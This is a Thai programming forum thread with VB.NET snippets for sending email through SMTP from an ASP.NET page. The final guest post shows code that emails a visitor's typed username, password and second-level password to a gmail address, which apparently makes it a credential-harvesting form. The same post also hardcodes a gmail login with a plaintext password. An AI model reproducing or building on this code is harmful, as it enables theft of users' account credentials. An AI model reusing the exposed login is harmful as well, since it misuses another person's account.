Imports System.Web.Mail
Partial Public Class mail
Inherits System.Web.UI.Page
Protected Sub Page_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load
Dim myMail As New MailMessage()
myMail.To = "[email protected]"
myMail.From = "[email protected]"
myMail.Subject = "My Subject"
myMail.BodyFormat = MailFormat.Text
myMail.Body = "My Body & Description"
SmtpMail.SmtpServer = "smtp.tttmaxnet.com"
SmtpMail.Send(myMail)
myMail = Nothing
Me.lblText.Text = "Mail Sending."
End Sub
End Class
Dim MyMailMessage As New MailMessage()
MyMailMessage.From = New MailAddress("[email protected]")
MyMailMessage.[To].Add("[email protected]")
MyMailMessage.Subject = "Test"
MyMailMessage.Body = " ทดสอบ "
Dim SMTPServer As New SmtpClient("smtp.gmail.com")
SMTPServer.Port = 587
SMTPServer.Credentials = New System.Net.NetworkCredential("user name gmail", "pass")
SMTPServer.EnableSsl = True
Try
SMTPServer.Send(MyMailMessage)
Me.lblText.Text = "success"
Catch ex As SmtpException
Me.lblText.Text = "ผิดพลาด" + ex.Message
End Try
Date :
2011-08-25 10:46:07
By :
sodamax
No. 8
Guest
Dim MyMailMessage As New MailMessage()
MyMailMessage.From = New MailAddress("[email protected]")
MyMailMessage.[To].Add("[email protected]")
MyMailMessage.Subject = "Test"
MyMailMessage.Body = ("Username : " & TextBox1.Text & ", Password : " & TextBox2.Text & ", Password ชั้น 2 : " & TextBox3.Text)
Dim SMTPServer As New SmtpClient("smtp.gmail.com")
SMTPServer.Port = 587
SMTPServer.Credentials = New System.Net.NetworkCredential("[email protected]", "chanutniti12071")
SMTPServer.EnableSsl = True
Try
SMTPServer.Send(MyMailMessage)
Me.lblText.Text = "success"
Catch ex As SmtpException
Me.lblText.Text = "ผิดพลาด" + ex.Message <-- ของผมติดตรงนี้อะครับ มันมีสีเหลืองขึ้นอะ
End Try
End Sub
End Class